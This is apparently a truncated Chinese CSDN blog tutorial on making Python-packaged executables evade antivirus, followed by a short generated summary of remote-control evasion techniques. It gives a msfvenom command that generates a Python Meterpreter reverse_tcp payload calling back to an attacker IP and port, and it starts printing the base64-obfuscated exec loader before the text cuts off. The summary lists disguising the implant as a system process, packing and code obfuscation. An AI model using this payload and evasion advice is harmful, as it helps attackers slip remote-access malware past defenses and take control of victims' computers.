python打包的exe如何免杀_使用Python进行防病毒免杀

很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。0x01 环境准备1、软件安装Python 2.7.16 x86:ht...
摘要由CSDN通过智能技术生成

很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?

打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。

0x01 环境准备

1、软件安装

Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

Py2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

2、msfvenom生成Python Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

evil-1.png

894761-20191212192507829-1465308333.png

evil.py 代码如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambd

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Python 免杀远控是一种利用 Python 编写的远程控制软件,它可以在绝大部分主流操作系统上运行,并且在被安装之后可以远程控制对方计算机。 由于 Python 是一种流行的编程语言,因此很多黑客和攻击者都利用 Python 编写远程控制软件。然而,许多防病毒软件和安全性软件都会在扫描文件时检测到并阻止这些攻击软件的运行。 为了免遭检测,攻击者会采用各种方法来隐藏远控软件,从而实现免杀。其中常见的方法包括: 1. 僵尸进程:攻击者会将远控软件做成一个僵尸进程,使其看起来像一个正常的系统进程。这样做可以让防病毒软件误认为这是一个合法的系统进程,从而放过该进程。 2. 免杀加壳:攻击者会将 Python 的源代码打包加密成特定格式的二进制文件,并加上壳。这样可以隐藏代码,并且使病毒扫描器无法解析其中的文件内容。 3. 代码混淆:攻击者会利用 Python 本身的特性,混淆代码使其变得难以理解和检测。例如,他们可以使用函数名、变量名等随机的字符串来替换原有的代码名称,或者将代码分成多个模块并交叉引用。 总之,为了免杀,攻击者会采用各种方法来隐藏远控软件,使其看起来像一个正常的系统进程。因此,用户和安全人员需要持续关注安全漏洞,并采取适当的安全措施来保护自己的计算机和数据。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值